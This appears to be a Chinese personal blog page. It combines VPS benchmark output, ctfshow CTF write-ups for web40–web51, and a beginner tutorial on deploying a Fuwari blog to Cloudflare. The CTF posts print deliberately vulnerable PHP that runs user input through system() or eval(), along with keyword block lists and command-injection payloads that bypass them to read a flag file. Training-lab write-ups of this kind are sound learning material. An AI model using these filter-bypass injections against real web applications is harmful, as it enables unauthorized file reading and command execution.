ip-api数据库 [5] | ipwhois数据库 [6] | ipregistry数据库 [7] | ipdata数据库 [8] | db-ip数据库 [9]
ipapiis数据库 [A] | ipapicom数据库 [B] | bigdatacloud数据库 [C] | dkly数据库 [D] | ipqualityscore数据库 [E]
ipintel数据库 [F] | ipfighter数据库 [G] | fraudlogix数据库 [H] | cloudflare数据库 [I] |
IPV4:
安全得分:
信任得分(越高越好): 33 [8] 
VPN得分(越低越好): 100 [8] 
代理得分(越低越好): 0 [8] 
社区投票-无害: 0 [2] 
社区投票-恶意: 0 [2] 
威胁得分(越低越好): 100 [8] 
欺诈得分(越低越好): 65 [E] 
滥用得分(越低越好): 0 [3] 1 [H]
ASN滥用得分(越低越好): 0.0342 (High) [A] 
公司滥用得分(越低越好): 0 (Very Low) [A] 
威胁级别: low [9 B] High [H]
流量占比: 真人(越高越好)15% [I] 机器人(越低越好)84% [I]
黑名单记录统计:(有多少黑名单网站有记录):
无害记录数: 0 [2] 恶意记录数: 0 [2] 可疑记录数: 0 [2] 无记录数: 94 [2] 
安全信息:
使用类型: hosting [0 3 7 8 A C] business [9 H]
公司类型: hosting [0 7 A] 
浏览器类型: 主流88% 其他11% [I] 
设备类型: 桌面80% 移动19% 其他0% [I] 
操作系统类型: 主流93% 其他6% [I] 
是否云提供商: Yes [7] 
是否数据中心: Yes [0 5 8 A C G H] 
是否移动设备: Yes [E] No [5 A C G]
是否代理: Yes [E G] No [0 4 5 7 8 9 A B C H]
是否VPN: Yes [E G] No [0 7 A C H]
是否Tor: No [0 3 7 8 A B C E H] 
是否Tor出口: No [7] 
是否网络爬虫: No [9 A B E] 
是否匿名: Yes [8] No [7]
是否攻击者: No [7 8] 
是否滥用者: No [7 8 A C E] 
是否威胁: No [7 8 C] 
是否中继: No [0 7 8 C] 
是否Bogon: No [7 8 A C] 
是否机器人: No [E H] 
DNS-黑名单: 304(Total_Check) 0(Clean) 0(Blacklisted) 0(Other) 
IPV6:
安全得分:
滥用得分(越低越好): 0 [3]
ASN滥用得分(越低越好): 0.0342 (High) [A] 
公司滥用得分(越低越好): 0 (Very Low) [A] 
威胁级别: low [B] 
流量占比: 真人(越高越好)15% [I] 机器人(越低越好)84% [I]
安全信息:
使用类型: hosting [3 A] 
公司类型: hosting [A] 
浏览器类型: 主流88% 其他11% [I] 
设备类型: 桌面80% 移动19% 其他0% [I] 
操作系统类型: 主流93% 其他6% [I] 
是否数据中心: Yes [A G] 
是否移动设备: No [A G] 
是否代理: Yes [G] No [A B]
是否VPN: Yes [G] No [A]
是否Tor: No [3 A B] 
是否网络爬虫: No [A B] 
是否滥用者: No [A] 
是否Bogon: No [A]
DNS-黑名单: 304(Total_Check) 0(Clean) 0(Blacklisted) 304(Other) 
Google搜索可行性：NO
------------邮件端口检测--基于oneclickvirt/portchecker开源------------
Platform SMTP SMTPS POP3 POP3S IMAP IMAPS
LocalPort ✔ ✔ ✔ ✔ ✔ ✔ 
QQ ✔ ✔ ✔ ✘ ✔ ✘ 
163 ✔ ✔ ✔ ✘ ✔ ✘ 
Sohu ✔ ✔ ✔ ✘ ✔ ✘ 
Yandex ✔ ✔ ✔ ✘ ✔ ✘ 
Gmail ✔ ✔ ✘ ✘ ✘ ✘ 
Outlook ✔ ✘ ✔ ✘ ✔ ✘ 
Office365 ✔ ✘ ✔ ✘ ✔ ✘ 
Yahoo ✔ ✔ ✘ ✘ ✘ ✘ 
MailCOM ✔ ✔ ✔ ✘ ✔ ✘ 
MailRU ✔ ✔ ✘ ✘ ✔ ✘ 
AOL ✔ ✔ ✘ ✘ ✘ ✘ 
GMX ✔ ✔ ✔ ✘ ✔ ✘ 
Sina ✔ ✘ ✔ ✘ ✔ ✘ 
Apple ✘ ✔ ✘ ✘ ✘ ✘ 
FastMail ✘ ✔ ✘ ✘ ✘ ✘ 
ProtonMail✘ ✘ ✘ ✘ ✘ ✘ 
MXRoute ✔ ✘ ✔ ✘ ✔ ✘ 
Namecrane ✔ ✔ ✔ ✘ ✔ ✘ 
XYAMail ✘ ✘ ✘ ✘ ✘ ✘ 
ZohoMail ✘ ✔ ✘ ✘ ✘ ✘ 
Inbox_eu ✔ ✔ ✔ ✘ ✘ ✘ 
Free_fr ✘ ✔ ✔ ✘ ✔ ✘ 
-------------上游及三网回程--基于oneclickvirt/backtrace开源--------------
国家: US 城市: Los Angeles 服务商: AS36352 HostPapa
北京电信v4 219.141.140.10 电信163 [普通线路] 
北京联通v4 202.106.195.68 联通4837 [普通线路] 
北京移动v4 221.179.155.161 移动CMI [普通线路] 
上海电信v4 202.96.209.133 检测不到回程路由节点的IPV4地址
上海联通v4 210.22.97.1 联通4837 [普通线路] 
上海移动v4 211.136.112.200 检测不到回程路由节点的IPV4地址
广州电信v4 58.60.188.222 电信163 [普通线路] 
广州联通v4 210.21.196.6 检测不到回程路由节点的IPV4地址
广州移动v4 120.196.165.24 移动CMI [普通线路] 
成都电信v4 61.139.2.69 检测不到回程路由节点的IPV4地址
成都联通v4 119.6.6.6 检测不到回程路由节点的IPV4地址
成都移动v4 211.137.96.205 移动CMI [普通线路] 移动CMIN2 [精品线路] 
北京电信v6 2400:89c0:1053:3::69 电信163 [普通线路] 
北京联通v6 2400:89c0:1013:3::54 联通4837 [普通线路] 
北京移动v6 2409:8c00:8421:1303::55 移动CMI [普通线路] 移动CMIN2 [精品线路] 
上海电信v6 240e:e1:aa00:4000::24 电信163 [普通线路] 
上海联通v6 2408:80f1:21:5003::a 联通4837 [普通线路] 
上海移动v6 2409:8c1e:75b0:3003::26 移动CMIN2 [精品线路] 移动CMI [普通线路] 
广州电信v6 240e:97c:2f:3000::44 电信163 [普通线路] 
广州联通v6 2408:8756:f50:1001::c 联通4837 [普通线路] 
广州移动v6 2409:8c54:871:1001::12 移动CMI [普通线路] 移动CMIN2 [精品线路] 
准确线路自行查看详细路由，本测试结果仅作参考
同一目标地址多个线路时，检测可能已越过汇聚层，除第一个线路外，后续信息可能无效
----------------------回程路由--基于nexttrace开源-----------------------
依次测试电信/联通/移动经过的地区及线路，核心程序来自nexttrace，请知悉!
广州电信 58.60.188.222
1.60 ms 	AS36352 美国 加利福尼亚州 洛杉矶 colocrossing.com
1.17 ms 	* RFC1918
0.68 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
1.07 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
2.25 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 Telia-CT-Peer arelion.com
162.59 ms 	AS4134 [CHINANET-BB] 中国 广东 广州 chinatelecom.com.cn
167.40 ms 	AS4134 [CHINANET-BB] 中国 广东 广州 chinatelecom.com.cn
广州联通 210.21.196.6
1.33 ms 	AS36352 美国 加利福尼亚州 洛杉矶 colocrossing.com
0.63 ms 	* RFC1918
0.56 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
1.18 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
0.94 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
3.71 ms 	AS1299 美国 加利福尼亚 洛杉矶 arelion.com
153.81 ms 	AS4837 [CU169-BACKBONE] 中国 北京 chinaunicom.cn 联通
151.72 ms 	AS4837 [CU169-BACKBONE] 中国 北京 chinaunicom.cn 联通
177.07 ms 	AS4837 [CU169-BACKBONE] 中国 北京 chinaunicom.cn 联通
164.25 ms 	AS4837 [CU169-BACKBONE] 中国 广东 广州 chinaunicom.cn 联通
179.36 ms 	AS17623 [APNIC-AP] 中国 广东 深圳 chinaunicom.cn 联通
178.93 ms 	AS17623 中国 广东 深圳 宝安区 chinaunicom.cn 联通
广州移动 120.196.165.24
4.84 ms 	AS36352 美国 加利福尼亚州 洛杉矶 colocrossing.com
0.70 ms 	* RFC1918
0.63 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
1.09 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
2.29 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
11.56 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
10.93 ms 	AS58453 [CMI-INT] 美国 加利福尼亚 洛杉矶 cmi.chinamobile.com 移动
169.17 ms 	AS58453 [CMI-INT] 中国 广东 广州 cmi.chinamobile.com 移动
168.50 ms 	AS9808 [CMNET] 中国 广东 广州 X-I chinamobileltd.com 移动
168.79 ms 	AS9808 [CMNET] 中国 广东 广州 I-C chinamobileltd.com 移动
171.02 ms 	AS9808 [CMNET] 中国 广东 广州 chinamobileltd.com 移动
171.08 ms 	AS9808 [CMNET] 中国 广东 广州 chinamobileltd.com 移动
178.73 ms 	AS9808 [CMNET] 中国 广东 广州 chinamobileltd.com 移动
173.55 ms 	AS56040 [APNIC-AP] 中国 广东 深圳 gd.10086.cn 移动
---------------------自动更新测速节点列表--本脚本原创----------------------
位置		 上传速度	 下载速度	 延迟
Speedtest.net	 421.01Mbps	 682.73Mbps	 1.77ms	
日本东京	 31.06Mbps	 41.51Mbps	 119.44ms	
联通上海5G	 9.47Mbps	 62.47Mbps	 254.20ms	
联通北京	 14.44Mbps	 80.52Mbps	 168.89ms	
电信Suzhou5G	 35.04Mbps	 29.50Mbps	 137.67ms	
移动Suzhou	 10.26Mbps	 0.09Mbps	 2.13ms	
------------------------------------------------------------------------
 总共花费 : 7 分 6 秒
 时间 : Thu Apr 2 11:31:12 IST 2026
------------------------------------------------------------------------

这个价位vps都不会很好，这个ip的情况也是挺烂的。不过没有不合适的产品只有不合适的价格。😂

ctfshow做题记录web50-web51

Mon, 19 Jan 2026 00:00:00 +0000

web50

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date: 2020-09-05 20:49:30 
# @Last Modified by: h1xa 
# @Last Modified time: 2020-09-05 22:32:47 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
 $c=$_GET['c']; 
 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ 
 system($c." >/dev/null 2>&1"); 
 } 
}else{ 
 highlight_file(__FILE__); 
}

过滤了tab和$

构造tac<>f’la’g.php%0a

web51

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
 $c=$_GET['c'];
 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
 system($c." >/dev/null 2>&1");
 }
}else{
 highlight_file(__FILE__);
}

过滤了tac，换nl

构造payload：nl<f’la’g.php%0a

ctfshow做题记录web40-web49

Wed, 24 Dec 2025 00:00:00 +0000

web40

首先拿到的是以下php代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/[0-9]|\~|`|\@|\#|\\$|\%|\"|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\/i", $c)){
 eval($c);
 }
}else{
 highlight_file(__FILE__);
}

然后会发现没有过滤英文字母和英文的()
然后构造payload：highlight_file(next(array_reverse(scandir(current(localeconv()))))) 完成。

web42

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:3
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

过滤了cat，/,;

直接payload：tac f’la’g.php%0a

$flag=“ctfshow{b80050df-4901-493f-89c9-c4b6f7cd3791}

web43

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:32:01
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

多过滤了个flag

老样子tac f’la’g.php%0a

$flag=“ctfshow{d6d2cf16-69f3-4532-adba-b6e659a02b8c}

web44

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:35:34
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag| /i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

空格被过滤了。

用tab绕过

构建payload：tac%09f’la’g.php%0a

$flag=“ctfshow{ab74882f-b8f2-487c-b1da-d96ae59b1d1f}

web46

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:50:19
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag|[0-9]|\$|\*/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

如果变量 $c 中不包含以下任意字符或字符串（不区分大小写）：

分号 ;
字符串 cat
字符串 flag
空格
任意数字 [0-9]
美元符号 $
星号 *

则执行system()

构造payload：c=tac%09f’la’g.php%0a

$flag=“ctfshow{104f49e6-528f-457e-8fac-201d0d7068b7}”;

web47

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
 $c=$_GET['c'];
 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
 system($c." >/dev/null 2>&1");
 }
}else{
 highlight_file(__FILE__);
}

过滤了less,more,head,sort,tail,0-9,$,* 构建payload：tac%09f’la’g.php%0a

web49

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 22:22:43
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag|[0-9]|\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\|%/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

同上，构造payload：tac%09f’la’g.php%0a

如何搭建一个以Fuwari为框架的个人博客

Fri, 19 Dec 2025 00:00:00 +0000

搭建Fuwari博客

0. 前言

作为一个什么都不会的新手，我搭这个博客花了不少时间，也走了不少弯路。我在这里分享一下我搭建的过程。这是一篇新手向的文章。

PS:如果出现网络问题导致下载失败或者缓慢请自行科学上网

1. 配置环境（以Windows为例）

1.1 安装VScode

访问VScode
下载windows版本
点击VScode右上角这个按钮来调出终端

1.2 安装Git

windows输入以下指令到终端

1

winget install --id Git.Git -e --source winget

安装完后输入以下指令

1

git --version

若返回 Git 版本号（如 git version 2.45.0）则表示安装成功。

1.3 安装node.js

windows输入以下指令到终端

1

winget install -e --id OpenJS.NodeJS

安装完后分别输入以下指令

1
2


node -v
npm -v

若分别返回npm和node.js的版本号则表示安装成功

PS:此时可能会遇到powershell不允许执行脚本，此时打开管理员权限的powershell执行命令

1

Set-ExecutionPolicy RemoteSigned -Scope LocalMachine

我就用cmd演示了

1.4 安装pnpm

Fuwari官方强制要求用pnpm管理依赖，所以我们安装pnpm
在终端中分别执行命令

1
2


npm install -g pnpm
pnpm -v

返回版本号就安装成功了

2 构建Fuwari项目

2.1 克隆项目

先选一个存放位置，比如我存放在E:\Fuwari下，执行命令

1

cd E:\Fuwari

然后克隆Fuwari博客模版

1
2


git clone https://github.com/saicaca/fuwari.git 
astro-blog-demo

这里我把目标文件夹命名为 astro-blog-demo，你也可以换成 blog 或任意喜欢的名字。
克隆完成后，终端会多出一段Cloning into 'astro-blog-demo'...的输出。

2.2 运行

先cd进项目的根文件夹

1

 cd .\astro-blog-demo\

然后安装依赖

1

pnpm install

此时会出现一长串包名，只要没有报错就不管他

PS：建议先换源再安装依赖这样可以不用全局代理

输出Done什么的就可以开始运行本地项目了
执行pnpm dev会输出这些东西

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


PS E:\Fuwari\astro-blog-demo> pnpm dev

> fuwari@0.0.1 dev E:\Fuwari\astro-blog-demo
> astro dev

16:49:16 [types] Generated 1ms
16:49:16 [content] Syncing content
16:49:16 [content] Astro config changed 
16:49:16 [content] Clearing content store
16:49:16 [content] Synced content

 astro v5.13.10 ready in 3383 ms

┃ Local http://localhost:4321/
┃ Network use --host to expose

16:49:16 watching for file changes...

用浏览器访问local那行的地址，会直接进入Fuwari的首页
停止运行按下Ctrl + C

2.3 上传github

搭建blog一般会托管到cloudflare上，而在cf上一般是从github上直接clone仓库。又因为blog上会存些个人文件以及更改一些配置，以及git的特性会导致直接上传到仓库上会有问题，所以我们对原文件夹做一些操作。

打开项目根文件夹删除.git文件夹
初始化新的 Git 仓库

1
2
3


git init
git add .
git commit -m "初始化 Astro + Fuwari 博客（使用 pnpm）"

在github新建一个个人项目。我以astro-blog-demo命名。

PS：github不支持中文，可以用翻译器翻一下

回到终端，分别执行

1
2
3


git remote add origin https://github.com/你的用户名/astro-blog-demo.git
git branch -M main
git push -u origin main

然后应该会输出以下内容

1
2
3


To https://github.com/你的用户名/astro-blog-demo.git
 * [new branch] main -> main
Branch 'main' set up to track remote branch 'main' from 'origin'.

3 上传至cloudflare

你需要：

一个cloudflare账号

一个域名

在右侧计算与AI中找到workers和pages
创建
点下面的小字Get started
导入现有 Git 存储库
没有绑定github的会让你绑定github，绑定后选择存储库astro-blog-demo
构建设置

1
2
3
4


# 构建设置
Build command: pnpm i && pnpm build
Build output directory: dist
Root directory: /

然后保存并部署。此时cf会自动生成一个域名：xxx.worker.dev，这个域名国内是不能直接访问的，此时我们要套一个cdn或者绑定域名才能访问。

你已经完成了部署博客😆

4 后续操作

about目录下的md文件位于.\src\content\spec\about.md
个性化内容在.\src\config.ts，以下是我的代码内容：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


import type {
	ExpressiveCodeConfig,
	LicenseConfig,
	NavBarConfig,
	ProfileConfig,
	SiteConfig,
} from "./types/config";
import { LinkPreset } from "./types/config";

export const siteConfig: SiteConfig = {
	title: "aloneowo's blog",
	subtitle: "aloneowo's site",
	lang: "zh_CN", // 语言代码，例如 'en', 'zh_CN', 'ja' 等
	themeColor: {
		hue: 270, // 主题颜色的默认色相，范围为0到360。例如：红色:0, 青绿色:200, 青色:250, 粉色:345
		fixed: false, // 隐藏主题颜色选择器，使访客无法更改
	},
	banner: {
		enable: true, // 是否启用横幅图片
		src: "https://random-api.czl.net/pic/ecy", // 相对于 /src 目录的路径。如果以'/'开头，则相对于 /public 目录
		position: "top", // 等同于 object-position，仅支持 'top', 'center', 'bottom'。默认为 'center'
		credit: {
			enable: false, // 是否显示横幅图片的版权信息
			text: "", // 要显示的版权文字
			url: "", // (可选) 原始作品或艺术家页面的URL链接
		},
	},
	toc: {
		enable: true, // 在文章右侧显示目录
		depth: 2, // 目录中显示的最大标题深度，范围为1到3
	},
	favicon: [
		// 将此数组留空以使用默认favicon
		{
		 src: '/favicon/ico.jpg', // favicon路径，相对于/public目录
		 //theme: 'light', // (可选) 'light' 或 'dark'，仅在您有不同模式的favicon时设置
		 //sizes: '32x32', // (可选) favicon尺寸，仅在您有不同尺寸的favicon时设置
		 }
	],
};

export const navBarConfig: NavBarConfig = {
	links: [
		LinkPreset.Home,
		LinkPreset.Archive,
		LinkPreset.About,
		{
			name: "Openlist",
			url: "https://bilibili.com/ ", // 内部链接不应包含基础路径，因为它会自动添加
			external: true, // 显示外部链接图标，并在新标签页中打开
		},
	],
};

export const profileConfig: ProfileConfig = {
	avatar: "assets/images/headimg.jpg", // 相对于 /src 目录的路径。如果以'/'开头，则相对于 /public 目录
	name: "aloneowo",
	bio: "我不要上早八😭",
	links: [
		{
			name: "Bilibili",
			icon: "fa6-brands:bilibili", // 访问 https://icones.js.org/ 获取图标代码
			// 如果图标集尚未包含，您需要安装相应的图标集
			// `pnpm add @iconify-json/<icon-set-name>`
			url: "https://space.bilibili.com/506074066 ",
		},
		{
			name: "Steam",
			icon: "fa6-brands:steam",
			url: "https://store.steampowered.com ",
		},
		{
			name: "GitHub",
			icon: "fa6-brands:github",
			url: "https://github.com/aloneqwq ",
		},
	],
};

export const licenseConfig: LicenseConfig = {
	enable: true,
	name: "CC BY-NC-SA 4.0",
	url: "https://creativecommons.org/licenses/by-nc-sa/4.0/ ",
};

export const expressiveCodeConfig: ExpressiveCodeConfig = {
	// 注意：某些样式（如背景颜色）正在被覆盖，请参见 astro.config.mjs 文件
	// 请选择深色主题，因为此博客主题目前仅支持深色背景
	theme: "github-dark",
};

在.\astro.config.mjs处可以编辑你blog的域名，位于此处：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


.....
// https://astro.build/config
export default defineConfig({
	site: "https://blog.aloneowo.dpdns.org/",
	base: "/",
	trailingSlash: "always",
	integrations: [
		tailwind({
			nesting: true,

.....

blog文件放在.\src\content\posts处，需具有以下开头

1
2
3
4
5
6
7
8


---
title: "Hello Fuwari"
published: yyyy-mm-dd
description: "第一篇测试文章"
tags: ["测试"]
category: "随笔"
draft: false
---

git提交:分别执行

1
2
3


git add .
git commit -m "update" //"update"可替换
git push

Posts on aloneowo's blog

有关GFW阻断的个人观察总结

有关GFW阻断的个人观察

前言

声明

DNS 污染

SNI 阻断（RST阻断）

为什么 SNI 阻断比 DNS 污染更难搞

ECH + DoH 的组合

IP 黑洞

一些个人的话（26.7.11）

tzuctf实训misc

tzuctf做题记录Misc

沉睡的密码本

旧档案的裂缝

指尖残影

SuperDoH：基于 Cloudflare Workers 的多上游 DNS over HTTPS 代理，支持ECH和路由注入

搭建一个个人 DoH 服务

前言

DoH 有什么用

项目实现的功能 （推销）

部署

使用

ECH实现的原理

Gclaw测试报告

Gclaw机器测试报告

💻基本信息

🎬IP质量

🌐网络质量

📍回程路由

随便说说

混元claw测试报告

混元claw测试报告

前言

测试结果

位于上海机器的测试结果

位于南京机器的测试结果

26.7.11

lucky+easytier构建个人内网环境

搭建一个个人的内网环境

前言

检查网络环境

穿透规则

配置DDNS

创建easytier虚拟内网

参考来源

dedirock 2025黑五vps个人测试

ctfshow做题记录web50-web51

web50

web51

ctfshow做题记录web40-web49

web40

web42

web43

web44

web46

web47

web49

如何搭建一个以Fuwari为框架的个人博客

搭建Fuwari博客

0. 前言

1. 配置环境（以Windows为例）

1.1 安装VScode

1.2 安装Git

1.3 安装node.js

1.4 安装pnpm

2 构建Fuwari项目

2.1 克隆项目

2.2 运行

2.3 上传github

3 上传至cloudflare

4 后续操作

项目实现的功能（推销）